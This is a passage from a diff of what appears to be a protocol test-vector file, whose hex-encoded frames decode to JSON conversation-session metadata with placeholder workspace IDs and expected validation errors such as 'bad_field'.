772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030382c22746f6f6c556964223a32303030392c22776f726b7370616365476964223a32353030382c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303035222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303035222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303036222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303036222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031322c22746f6f6c556964223a32303031332c22776f726b7370616365476964223a32353031322c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303037222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303037222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031342c22746f6f6c556964223a32303031352c22776f726b7370616365476964223a32353031342c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303038222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303038222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031362c22746f6f6c556964223a32303031372c22776f726b7370616365476964223a32353031362c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303039222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303039222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031382c22746f6f6c556964223a32303031392c22776f726b7370616365476964223a32353031382c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303130222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303130222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032302c22746f6f6c556964223a32303032312c22776f726b7370616365476964223a32353032302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303131222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303131222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032322c22746f6f6c556964223a32303032332c22776f726b7370616365476964223a32353032322c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303132222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303132222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032342c22746f6f6c556964223a32303032352c22776f726b7370616365476964223a32353032342c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303133222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303133222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032362c22746f6f6c556964223a32303032372c22776f726b7370616365476964223a32353032362c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303134222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303134222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032382c22746f6f6c556964223a32303032392c22776f726b7370616365476964223a32353032382c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303135222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303135222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303033302c22746f6f6c556964223a32303033312c22776f726b7370616365476964223a32353033302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303136222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303136222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303033322c22746f6f6c556964223a32303033332c22776f726b7370616365476964223a32353033322c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d58310101000001000000d41f00007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303030222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303030222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030322c22746f6f6c556964223a32303030332c22776f726b7370616365476964223a32353030322c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030342c22746f6f6c556964223a32303030352c22776f726b7370616365476964223a32353030342c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303033222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303033222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030362c22746f6f6c556964223a32303030372c22776f726b7370616365476964223a32353030362c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303034222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303034222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030382c22746f6f6c556964223a32303030392c22776f726b7370616365476964223a32353030382c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303035222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303035222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303036222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303036222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031322c22746f6f6c556964223a32303031332c22776f726b7370616365476964223a32353031322c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303037222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303037222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031342c22746f6f6c556964223a32303031352c22776f726b7370616365476964223a32353031342c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303038222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303038222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031362c22746f6f6c556964223a32303031372c22776f726b7370616365476964223a32353031362c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303039222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303039222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031382c22746f6f6c556964223a32303031392c22776f726b7370616365476964223a32353031382c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303130222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303130222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032302c22746f6f6c556964223a32303032312c22776f726b7370616365476964223a32353032302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303131222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303131222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032322c22746f6f6c556964223a32303032332c22776f726b7370616365476964223a32353032322c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303132222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303132222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032342c22746f6f6c556964223a32303032352c22776f726b7370616365476964223a32353032342c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303133222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303133222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032362c22746f6f6c556964223a32303032372c22776f726b7370616365476964223a32353032362c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303134222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303134222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032382c22746f6f6c556964223a32303032392c22776f726b7370616365476964223a32353032382c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303135222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303135222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303033302c22746f6f6c556964223a32303033312c22776f726b7370616365476964223a32353033302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303136222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303136222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303033322c22746f6f6c556964223a32303033332c22776f726b7370616365476964223a32353033322c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-wrong-incarnation-in-item", "direction": "down", - "hex": "574d583101010000010000001a0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d6f74686572222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": 